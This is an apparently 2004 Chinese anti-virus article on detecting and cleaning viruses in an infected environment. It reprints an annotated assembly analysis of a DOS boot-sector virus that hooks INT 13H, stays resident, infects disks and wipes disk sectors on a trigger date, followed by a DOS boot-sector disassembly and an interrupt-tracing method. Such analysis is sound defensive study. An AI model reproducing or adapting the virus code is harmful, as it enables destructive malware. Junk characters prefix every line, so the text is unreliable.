近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严  峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。    
 60p*4>^v  ?? 
 98l-  ??   一 、  带毒环境下检测清除病毒的意义    
 2;ogkPv '  ?? 
 7tT	L,Nxe  ??   目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300  、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。    
 wAF#N1-k  ?? 
 VelX+|w  ??   当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。    
 l)
)Cvre+  ?? 
 YQfQ[{kp  ??   当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。    
 ( v=Z$#l  ?? 
 ,n{|d33  ??   由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本  无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。    
 +-:G+9L@  ?? 
 A}03s6^i;  ??   二 、带毒环境下检测清除病毒的原理            
 `~W ?a  ?? 
 2I~a{:O  ??   对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。
 \G]vTK3  ??   引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。
 qZ+^ND(I           oJ}$	/_   /u'M7R  举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析           作者:sinister "
 dy0xz5N-  病毒体: 
 G-T2b,J
[  JMP 01AF ;JMP到01AF 
 uchz<z1  DB 00 ;病毒标计 
 X9uYqvP\(  DW 00F5 ;此为搬到高位址后,远程跳转指令 
 :+S~N)0j^  DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX 
 N^tH&\G\m  DB 02 
 a:	OuDjFp  DW 0003 ;此为软盘识别标记,硬盘为0007 
 EtvYIfemr  DW EC59 ; 
 ^pa	-2Ao6  DW F000 ;INT 13H的原入口 
 Nj4^G	~_  . 
 bcprhb  . 
 }&*,!ES*  . 
 yYZ0o.<&T*  . 
 ?pF	uV`Zm  . 
 2Yd;#i)  XOR AX,AX ;清除AX 
 {{4Sgb  MOV DS,AX; ;让DS=0000 
 O>L 
5
dP  CLI ;清I标志积存器 
 >_?Waz%  MOV SS,AX ;把堆栈设为0000:7C00也就是开机 
 (V+iJ_1g{  MOV AX,7C00 ;后载入引导分区表的地址,目前地址 
 !Ry4w|w  MOV SP,AX ;开机时为0000:7CB6 
 *[['X%f  STI ;设I标志积存器 
 }#f~"-O  PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A 
 6~6*(s|]A  PUSH AX ;用RETF,把程序转到引导或分区表位置 
 -jsk-,  MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 
 UzmD2AsO"  MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 
 pSJc.j	  MOV AX,[004E] ;取INT 13H的段地址 
 a<`s'N1G  MOV [7C0C],AX ;存到010C 
 Z\M8DZW8Y  ;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 
 7q	_.@J   ;读写以便传播发作 
 DWRq	\`P
   HOAgRhzE  MOV AX,[0413] ;取得内存K数,放在AX 
  y]ZujfW7  DEC AX ; 
 H#j	Z'I  DEC AX ;减2k内存 
 41`&/9:"_M  MOV [0413],AX ;存回,通常是638K 
 4m$Xjj`vE  MOV CL,06 ; 
 vb Mv8Nk  SHL AX,CL ; 
 js\|xfDxP  MOV ES,AX ;算出减2K后病毒本体的位址 
 /F6=iHK(l  MOV [7C05],AX ;AX存入0105 
  wi/dR}*A   jPNm $Y1  ;病毒常用手法将系统高段内存减少以便驻留 
 4	'6HX#J  ;这样可以免于被其他程序覆盖 
 VM[Vhk[   dg]:	JU	  MOV AX,000E ;病毒拦INT 13H 
 rYMHc@a9(  ;ISR起始的偏移量 
 mC(q8%/;  MOV [004C],AX ; 
 [8Zvs=1  MOV [004E],ES ;设原为病毒的INT 13H 
 S+(-k0  MOV CX,01BE ;病毒长度为1BE 
 ueazAsk3g  MOV SI,7C00 ;从JMP 01AF开始 
 RZ&T\;m,7  XOR DI,DI ;DI=0 
 ,]	,dOIOwn  CLD ;清方向标志 
 9W<I~  REPZ; 
 &ahZ_9Q  MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 
 PKM8MYvo  CS: ;分区表能载入0000:7C00正常运作 
  mxV0"$'Fm  JMP FAR [7C03] ;跳到为搬过后的位址 
 /Z*XKIU6v/  XOR AX,AX ;清AX 
 g4	|s9RMD  MOV ES,AX ;ES=0000 
 JH;\wfrD  INT 13 ;复位磁盘 
 7 a}qnk%  PUSH CS ; 
 DVq5[ntG  POP DS ;让DS=CS 
 .3.oan*i  MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 
 2,X~a;+  MOV BX,7C00 ;读到0000:7C00 
 eD481r  MOV CX,[0008] ;硬盘第0道,第7扇区 
 L(2KC>GvA  CMP CX,+07 ;比较是否从硬盘启动 
 3o=K?eOdg  JNZ 0213 ;不是跳0213 
 pkL&j<{  MOV DX,0080 ;第一硬盘C:第零面 
 Yw\PmRL"p  INT 13 ;用INT 13号中断,读 
 fc#zhp5bX  JMP 023E ;跳023E比较日期,发作或正常开机 
 ,1+)qv#|i  MOV CX,[0008] ;软盘0道,第3扇区 
 
$fwv'  MOV DX,0100 ;A:的第0面 
 2%Y]M%P  INT 13 ;INT 13读盘 
 AI&Bv  JB 023E ;失败跳023E 
 T~rPpi&  PUSH CS 
 C&vUZa[p  POPES ;让ES=CS 
 Q,mmHw.`J  MOV AX,0201 ; 
 q^_PR|  MOV BX,0200 ; 
 3i'L5f67  MOV CX,0001 ; 
 Xn'{g  MOV DX,0080 ; 
 26,!HmtC  INT 13 ;读入C:的分区表到0200,以便下面比较 
 CcZ\QOet&C  JB 023E ;失败跳023E 
 lklMdsIdj  XOR SI,SI ;清SI 
 OA_Bz"  CLD ;清方向标志以便比较 
 5 :ZM-kZT  LODSW ;载入一个WORD到AX 
 S6r$n  CMP AX,[BX] ;比较有无病毒存在..E9AC 
 =hO0@w  JNZ 0287 ;没有则跳0287传染 
 n~g,qEI;<x  LODSW ;载入一个WORD到AX 
 <QyJJQM  CMP AX,[BX+02] ;再次确认..0000 
 xmEmdOoD  JNZ 0287 ;没有跳0287 
 v/E_A3Ay&  XOR CX,CX ;清CX 
 y[s*	%yP3l  MOV AH,04 ; 
 8)D5loS  INT 1A ;取得日期 
 8_S<zE`Ha  CMP DX,0306 ;是否为三月六日 
 L/,W  JZ 024B ;是跳024B传染 
 C]tHk)<|42  RETF ;把程序交还给引导启动完成 
 I'h6!N"   :i&ZMH,O  步骤4:病毒INT 13代码分析 
 4_E{  方法:U 
 ^hhJ6E_W  PUSH DS ;首先把要用到积存器 
 .'q0*Pe  PUSH AX ;入栈保存 
 J<<0U;  OR DL,DL ;比较是否为软盘 
 <=
xmJx-V  JNZ 002F ;如不是则退出传染 
 dcgz<m  XOR AX,AX ;AX=0 
 >+w(%;i;  MOV DS,AX ;数据代段=0 
 H\\0V.}!  TEST BYTE PTR [043F],01 ;比较是否为A盘 
 ]e'Ol$3U9=  JNZ 002F ;不是则退出 
 "?Eh_Dw  POP AX ;将以上保存积存器 
 S'NZb!1+  POP DS ;弹栈恢复 
 X/_e#H0 
  PUSHF ;压栈标志积存器 
 yk4Huq&2  CS: ;以便执行原INT 13 
 q#$4Kt;  CALL FAR [000A] ;执行原INT 13 
 $Q[a^V~:  PUSHF ;再次压栈 
 DL5`A?/  CALL 0036 ;以便跳转到传染程序 
 <wt#m`Za  POPF ;跳转到执行传染 
 4|Dxyb>pS  RETF 0002 ;结束中断调用返回 
 Z)6gh{B08  POP AX ;恢复 
 ^gwVh~j  POP DS ;堆栈 
 4Lo8Eue  CS: ;跳转到原正常INT 13 
 {jX
h/`  JMP FAR [000A] ;地址执行 
 .~+I"V{yF   <Q06<{]R8  ;此段代码中展现了病毒常用手法,利用标志积存器做跳转 
 8$:4~:]/   /Ot=GhN]  步骤5:传染过程分析 
 u.t(78N  方法:U 
 R$<LEwjSw  对软盘传染过程: 
  8,BNs5  PUSH AX ;工 
 9OeY59
:  PUSH BX ;作 
 \>8"r,hG|  PUSH CX ;寄 
 +1Ha,Ok  PUSH DX ;存 
 7(m4,l+(  PUSH DS ;器 
 HG2i^y  PUSH ES ;入 
 =y;	tOdj  PUSH SI ;栈 
 mX)UoiXue  PUSH DI ;保存 
 ef\Pu\'U  PUSH CS ;以压/弹栈方式 
 /;t42
g9w  POP DS ;使数据段DS和 
 ]>NP?S
)R  PUSH CS ;附加段ES均指向 
 7u"t4Or  POP ES ;代码段CS 
 2,c{Z$\kn  MOV SI,0004 ;试4次 
 9Z,vpTE  MOV AX,0201 ;设置各 
 }b-"[TDEF  MOV BX,0200 ;积存器 
 N:j"W,8  MOV CX,0001 ;为读软盘 
 $6~D 2K  XOR DX,DX ;引导扇区做准备 
 Y|t] bb  PUSHF ;压栈标志积存器 
 bJJB*$jW=  CALL FAR [000A] ;正常的INT 13调用 
 }LDH/#
u  JNB 0063 ;成功则转判断 
 t{\FV@R  XOR AX,AX ;不成功复位 
 v,N*vqWS  PUSHF ;磁盘继续读 
 .z
u0GsU=  CALL FAR [000A] ;如果4次 
 _L mDF8Q(  DEC SI ;均匀不成功 
 X6jW mo8]  JNZ 0045 ;则退出跳转 
 }yup`R  JMP 00A6 ;退出传染 
 ? *I2?
  XOR SI,SI ;SI=0以便用 
 PiMW29B^   CLD ;LODSW读入软盘 
 @|:_ ?  LODSW ;第1或第2字进行比较 
 #/NZ0IbHk  CMP AX,[BX] ;比较如果不包含病毒标志 
 Hmt}@  JNZ 0071 ;则跳转写传染 
 nYJ)M
AG@  LODSW ;如果已有标志 
 KJPCO0"  CMP AX,[BX+02] ;则退出 
 \$Xo5f<  JZ 00A6 ;传染子程序 
 Bb^CukS:  MOV AX,0301 ;为写盘准备 
 C0o0
l>  MOV DH,01 ;如果是360K 
 `+[e]dH  MOV CL,03 ;则写到1面0道3扇区 
 -iu7/4!j  CMP BYTE PTR [BX+15],FD ;比较软盘 
 ]de'v  JZ 0080 ;如果大于360K 
 e"u=4nk  MOV CL,0E ;写到1面0道14扇区 
 WQ/H8rOs  MOV [0008],CX ;写病毒标志到软盘 
 Pa%;[hbn  PUSHF ;调用原INT 13 
 &?m|PK) I  CALL FAR [000A] ;进行传染 
 1$Rua  JB 00A6 
 @!0@f'}e  MOV SI,03BE ;以下是将正常 
 =W(mZ#*vdY  MOV DI,01BE ;引导扇区从 
 bce>DLF  MOV CX,0021 ;1BE起的21字节内容 
 $;1#gq%  CLD ;搬移到病毒程序尾部 
 %./vh=5)  REPZ ;开始复制 
 H]V@Q~?e   MOVSW 
 UPs*{m  MOV AX,0301 ;写盘功能调用,写一个扇区 
 {_0m0
 8  XOR BX,BX ;将病毒程序 
 H#IJ&w|  MOV CX,0001 ;写入软盘引导扇区内 
 `+_UG^aeW  XOR DX,DX ;设置为软盘 
 -lr)z=})  PUSHF 
 jm1f,=R  CALL FAR [000A] ;执行正常INT 13调用写盘 
 T/DKT1P-  POP DI ;将 
 A`Vz5WB  POP SI ;工 
 R}MdBE  POP ES ;作 
 ,bh OIuep3  POP DS ;寄 
 fZK&h.  POP DX ;存 
 aqq7u5O1r  POP CX ;器 
 w=.w*?>  POP BX ;退 
 ZUJ!  POP AX ;栈 
 CV% AqJN  RET ;返回调用处 
 1Zc1CUMG  对硬盘传染过程: 
 ig(a28%   MOV CX,0007 ;第7扇区 
 J<h^V+x  MOV [0008],CX ;此处为硬盘引导标记 
 j(4BMk  MOV AX,301 ;写功能调用 
 <aJdm!6  MOV DX,0080 ;设置为硬盘 
 T4,dhS|  INT 13 ;将正常引导扇区写到0面0道7扇区内 
 0	1U/{D6D  JB 13E ;失败则转 
 }eUeADbC  MOV SI,03BE ;原分区表地址 
 q<mDs$^K  MOV DI,01BE ;目标地址 
 /t=R~BJu  MOV CX,0021 ;整个分区表 
 ~1xln?Q  REPNZ 
 0|<ER3xkx  MOVSW ;开始复制 
 vzl+0"  ;此段代码是将硬盘分区信息,搬移到病毒程序尾部 
 tu}AJ  ;这样在分析着查看硬盘分区信息时仍能看到该部分 
 Ws"eF0,'Z  ;内容,以次来麻痹分析者 
 gBQK  MOV AX,0301 ;准备写病毒提进硬盘 
 =e'b*KTL,  XOR BX,BX ;病毒体位置 
 GxWA=Xp^~G  INC CL ;第一扇区 
 = h,6/cs  INT 13 ;开始写盘传染 
 [03$*BCq 3  JMP 013E ;转到13E处判断是否为3月6日,是则发作 
 ". jY3<bQg    r`5[6)+P  步骤6:破坏过程分析 
 h|h-< G?>  方法:U 
 [)V&$~xW  主要分析对硬盘数据破坏: 
 qdoJIP{  . 
 lhsd39NM  . 
 iM;7V*u  . 
 WZq0$:I;R  . 
 N*6Y5[g!\   . 
 bF:]MB^VK  MOV DL,80 
 ~^*IP1.3  MOV BYTE PTR[0007],04 
 >Q&E4j C  ;准备写硬盘 
 \	.HX7v  MOV AL,11 ;写17个扇区 
  <k)@PAV  MOV BX,5000 
 //63?s+  MOV ES,BX ;从内存ES:5000中处开始写 
 1:]iV}OFqR  INT 13 ;残不人睹 
 `2 X~3im  JNB 0179 ;成功转179继续写 
 c	e`3&  XOR AH,AH 
 qMT7g LB'1  INT 13 ;不成功复位磁盘继续 
 5MsE	oLg  INC DH ;使写操作磁头加1继续? 
 K7 >Z)21  CMP DH,[0007] ;比较是否小于0007单元值 
 E6(OEC%,  JB 0150 ;是则返回开始处继续写 
 }t!,{ZryE1  XOR DH,DH ;DH=0 
 ]Igd<  INC CH ;再加扇区 
 \a]JH\T)Q  JMP 0150 ;反回继续写 
 >5C|i-HX  ;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 
 $
2'AY  ;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 
 `$j"nP F_  ;和文件分配表。 
 ?3bUE\p   S2nF13u  引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 
 j)IXe	0dMC  读盘的时将自身写入磁盘。 
 xE(VyyR  引导过程如下: 
 q{/>hvl  1>调整堆栈位置 
 v'Y)~Kv@!  2>修改并用修改后的磁盘参数表来复位磁盘系统 
 pE{ZWW[@+  3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 
 ,H!E :k  4>读入根目录表的首扇区 
 L~N<<8?\	  5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS 
 ]O
Nf;RH  6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 
 L}O_1+b  7>跳到0000:0700H处执行IO.SYS,引导完毕 
 t}LV[bj1u  003E FA CLI 
 2\h]*x%:  003F 33C0 XOR AX,AX 
 ~nk{\ rWO  0041 8ED0 MOV SS,AX 
 .>z)6S_G  0041 8ED0 MOV SS,AX 
 n"YY:Gm;8  0043 BC007C MOV SP,7C00 ; 初始化堆栈 
 nbM[?=WS  0046 16 PUSH SS 
 ycAQHY~n  0047 07 POP ES ;(ES)=0000H 
 ]jNv}{  0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H 
 bDI#' F  004B 36 SS: ;(SS)=0000H 
 bqEQP3t^  004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI 
 ~\A(xmW}  004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 
 uJ	jm50R<  004F 56 PUSH SI ;取到后压入堆栈中保存 
 Y<%)Im6v/  0050 16 PUSH SS 
 ;ru=z@  0051 53 PUSH BX ;保存地址0000:0078H 
 f\+MnZ4[Qj  0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 
 	dL%?k@R  0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 
 NoS|lT  0058 FC CLD 
 SP][xdN7  0059 F3 REPZ 
 UFnz3vc  005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 
 ] h3~>8<  005B 06 PUSH ES 
 ,$irJz F  005C 1F POP DS ;(DS)=0000H 
 aw9/bp*N   005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" 
 yRt]i>  0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" 
 Y;3DU1MG0  0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" 
 
l);M(<  0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) 
 gMe)\5`\Y  006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 
 YCvIB'  006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 
 $$7Mq*a>  0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 
 p!5oz2RK  0072 7279 JB 00ED ;出错则转出错处理 
 e|x1Dq   r\J"|{)e  ; 下面一段程序计算扇区位置 
 rEwEdyK  0074 33C0 XOR AX,AX 
 2QwdDKMS_  0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 
 O>]I!n`!!A  007A 7408 JZ 0084 ;为零表示大硬盘? 
 *?'nA{a)E  007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 
 A&%vog]O  0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 
 dh r)ra]  0084 A0107C MOV AL,[7C10] ;取FAT表的个数 
 N"d
M+  0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 
 
0BF'@r";  008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) 
 bt3v`q+V  008F 13161E7C ADC DX,[7C1E] ; 高位 
 EA.4m3  0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) 
 LE^kN<qMK  0097 83D200 ADC DX,+00 ; (高位) 
 Fd@n#DR	`  009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) 
 E ,5XX;|  009D 8916527C MOV [7C52],DX ; (高位) 
 	>-EJLa  00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) 
 ! d	Ns3d  00A4 89164B7C MOV [7C4B],DX ; (高位) 
 3F fS2we  00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 
 V8`o71p  00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 
 eZes) &4  00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" 
 9
cU]@j}2  00B3 03C3 ADD AX,BX ;这两条指令是为了取整 
 J^tLK T B  00B5 48 DEC AX 
 )}QtK+Rq	  00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 
 AD_RU_a9  00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) 
 +"1@6,M  00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) 
 YlfzHeN1  ;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS 
 Jq0aDf
f  00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 
 H4C ]%Q  00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) 
 +]I7]
  00C8 A1507C MOV AX,[7C50] ; (低位) 
 S<Z]gY @c  00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 
 y;zp*(}f$h  00CE 721D JB 00ED ;出错则转出错处理 
 Fc{M
N"  00D0 B001 MOV AL,01 
 $yG>=GN  00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇) 
 s;!TB6b@  00D5 7216 JB 00ED ;出错处理 
 chw6_ctR>  00D7 8BFB MOV DI,BX ;内存缓冲区的首址 
 r8.R?5F@  00D9 B90B00 MOV CX,000B ;比较11个字节 
 U .?N
  00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节 
 m2wGg/F5  00DF F3 REPZ 
 _P6e%O8C#  00E0 A6 CMPSB ;看第一项是否为IO.SYS 
 l/?Jp+]  00E1 750A JNZ 00ED ;不是则出错 
 %JUD54bBt  00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项 
 5>z`==N)  00E6 B90B00 MOV CX,000B ;比较11个字节 
 $  ?ayE  00E9 F3 REPZ 
 OW}ny  00EA A6 CMPSB ;看第二项是否为MSDOS.SYS 
 J~.8.]gXW  00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理 
 qffVF|7   fmqHWu*wG  ;下面一段进行出错处理 
 F@	Sw  00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..." 
 FbH
1yz  00F0 E85F00 CALL 0152 ;显示字符串 
 
DZPg|*KT  00F3 33C0 XOR AX,AX 
 \NE~k)`4j%  00F5 CD16 INT 16 ;等待任一键按下 
 klkshlk	d  00F7 5E POP SI 
 3d<Z##`{4  00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H 
 *F:f\9	  00F9 8F04 POP [SI] 
 SUv(MA&  00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容 
 XcN"orAo  00FE CD19 INT 19 ;自举 
 ft |W  0100 58 POP AX 
 alr'If@7  0101 58 POP AX 
 ]70V   0102 58 POP AX ;清理堆栈 
 )4h4ql W  0103 EBE8 JMP 00ED ;再次试图起动 
 mn5y]:;`   Rr>nka)U  ;下面读入IO.SYS的头3个扇区到内存0000:0700H处 
 <	cNJrer  0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号 
 L\)GPTo!x  0108 48 DEC AX 
 Y!!w*G9b  0109 48 DEC AX ;首簇号减二 
 PfF5@W;E;  010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数 
 !2YvG%t^6  010E 32FF XOR BH,BH 
 ,x (?7ZW>  0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数 
 -^C^3pms  0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号 
 be^+X[  0116 13164B7C ADC DX,[7C4B] 
 . W ~&d_n  011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值 
 Z=c&</9e  011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区 
 ),DLrGOl  0120 50 PUSH AX ;逻辑扇区号进栈(低位) 
 ~`Uil=  0121 52 PUSH DX ; (高位) 
 =;HC7TUM&  0122 51 PUSH CX ;循环计数器进栈 
 Ql 2zC9C  0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号 
 [g<rzhC~=  0126 72D8 JB 0100 ;出错处理 
 BqoGHg4iq  0128 B001 MOV AL,01 
 }:QQ{h_  012A E85400 CALL 0181 ;读一个扇区到内存缓冲区 
 B!J~ t8  012D 59 POP CX ;循环计数出栈 
 b!lS=zIN  012E 5A POP DX 
 zDakl*
  012F 58 POP AX ;逻辑扇区号出栈 
 6*W7I-A  0130 72BB JB 00ED ;读盘出错处理 
 $,I%g<  0132 050100 ADD AX,0001 
 4%refqWK  0135 83D200 ADC DX,+00 ;下一个扇区 
 @Z}TF/Rx4  0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小 
 'ozu4y  013C E2E2 LOOP 0120 ;循环读入三个扇区 
 
^T>P  013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS 
 %s&"gWi  0142 8A16247C MOV DL,[7C24] ;取"系统文件所在的驱动器号" 
 0j\} @  0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的逻辑扇区号 
 nF"NXYa  014A A14B7C MOV AX,[7C4B] 
 qcVmt1"  014D EA00007000 JMP 0070:0000 ;执行IO.SYS,引导完毕 
 ;RR\ Hwix  ;显示字符串的子程序 
 t%S2D	  0152 AC LODSB ;从串中取一个字符 
 7XM:4whw  0153 0AC0 OR AL,AL 
 ;W~H|M  0155 7429 JZ 0180 ;为0则已到串尾,返回(共用RET指令) 
 luvxwved  0157 B40E MOV AH,0E 
 $kAal26 z  0159 BB0700 MOV BX,0007 
 3Gk\3iU!   015C CD10 INT 10 ;显示该字符 
 Z'!Ii+'6  015E EBF2 JMP 0152 ;循环显示下一个 
 pB(|Y]3A  ;将逻辑扇区号转换为物理扇区号的子程序 
 =lb5	#  0160 3B16187C CMP DX,[7C18] ;这两条指令是为了避免第二次除法时除数 
 9-ei#|Vnt[  0164 7319 JNB 017F ;为0 
 2E0A`  0166 F736187C DIV WORD PTR [7C18] ;逻辑扇取号除以每道扇区数,商(AX)=总磁 
 	IuV7~w  016A FEC2 INC DL ;道数,余数(DX)再加一即为扇区号,因为扇 
 @IE.@1  016C 88164F7C MOV [7C4F],DL ;区号是从1开始的,而不是从0开始 
 Rz03he  0170 33D2 XOR DX,DX 
 c^F@9{I  0172 F7361A7C DIV WORD PTR [7C1A] ;总磁道数(AX)再除以面数,所得的 
 >;s!X(6b  0176 8816257C MOV [7C25],DL ;余数(DX)=面号(即磁头号) 
 !(H
RP9  017A A34D7C MOV [7C4D],AX ;商(AX)=磁道号 
 6<t<hP_3O  017D F8 CLC 
 8T523VI  017E C3 RET ;正常返回 
 <>shx;g^C  017F F9 STC 
 Pt=@U:  0180 C3 RET ;异常返回 
 /mK."5-cm  ;读一个扇区的子程序 
 .ri?p:a}w  0181 B402 MOV AH,02 ;读功能调用 
 o;[cApiQ,2  0183 8B164D7C MOV DX,[7C4D] ;需要的入口参数如下: 
 qu`F,OG  0187 B106 MOV CL,06 ;(DL)=驱动器号 
 	r]3v.GZy  0189 D2E6 SHL DH,CL ;(DH)=面号 
 MkK6.qV\z
  018B 0A364F7C OR DH,[7C4F] ;(CH)=磁道号 
 r-e-2y7  018F 8BCA MOV CX,DX ;(CL)=扇区号(第6,7位为磁道号的高2位) 
 K^m`3N"  0191 86E9 XCHG CH,CL ;(AL)=要读的扇区数 
 M&SY2\\TB  0193 8A16247C MOV DL,[7C24] ;(ES:BX)=缓冲区首址 
 2Q;g|*]  0197 8A36257C MOV DH,[7C25] 
 tNf_,]u  019B CD13 INT 13 
 q;Rhx"x>T  019D C3 RET 
 1sNZl&  9x下的主引导/引导扇区没大区别,为了识别大分区用了一个INT 13的扩展调用42H。
  ./qbWr`L   MhDPf]`
Gg      ?? 
 ET\>cxSp  ??   既然病毒是通过接管中断来获取传染和破坏的机会,那么我们是否有办法找回被病毒接管的中断 服务程序的地址,从而杀毒软件可以直接调用原中断,避免激活病毒? 笔者认为这是可能的,因为病毒在接管中断后,一般只对读写操作 、文件操作和执行等子功能调用感兴趣,对于其他一些功能调用,病毒只是简单地调用原中断服务程序进行处理,并通常使用下列指令进行调用:    
 =WEWs4V5A  ??   jmp xxxx:xxxx 
 UA3!28Y&E3  ??   call xxxx:xxxx 
 
qZ<|A%WQ          jmp far ptr cs:[xxxx] 
 a/Ik^:>m          call far ptr cs:[xxxx] 
 Nm{J=`  ?? 
 -Pp	=)_O  ??   以INT21H为例,我们可以调用取DOS版本号的子功能3306H,对整个调用过程进行单步跟踪,并假设病毒驻留的段地址与INT21H原中断段地址是不同的,如果调用过程中CS发生改变,我们把每次CS改变后 执行的第一条指令的地址都记录下来,那么INT21H原来的中断地址也必定在其中。    
 :"Gd;~p.  ?? 
 Sp-M:,H3H  ??   但记录的地址不止一个,究竟哪个是我们所要找的呢?这里我们可以假设病毒在调原中断服务程序时把各个寄存器(指AX、BX、CX、DX 、SI、DI、DS、ES)都设置成我们调用时所设置的值,同时真正的中断服务程序返回时又会改变寄存器的值,这个假设在绝大多数情况下都是正确的,从该假设出发,只需在各个寄存器值有改变的情况下,记录下每次CS改变后的第一条指令的地址,那么在中断返回后,记录中的最近一个地址就是所需找的原中断地址。需要指出的是,如果内存中还有其他驻留程序也接管了INT21H所找到的地址同样绕过了这些驻留程序。   
 Yu+;vjbK-  --------------------------------------------------------------------------------
 19]O;  作者: 网络虫虫    时间: 2004-5-28 10:02     标题: [杀毒请注意]新老朋友请阅反病毒技巧 敬请补充指正
 `st^i$A   %)	/Bl.{}<  发现病毒,但是无论在安全模式还是Windows下都无法清除怎么办?
 70F(`;   ?
4v"y@v  由于某些目录和文件的特殊性,无法直接清除(包括安全模式下杀毒等一些方式杀毒),而需要某些特殊手段清除的带毒文件。以下所说的目录均包含其下面的子目录。 
 k =  1、带毒文件在\Temporary Internet Files目录下。 
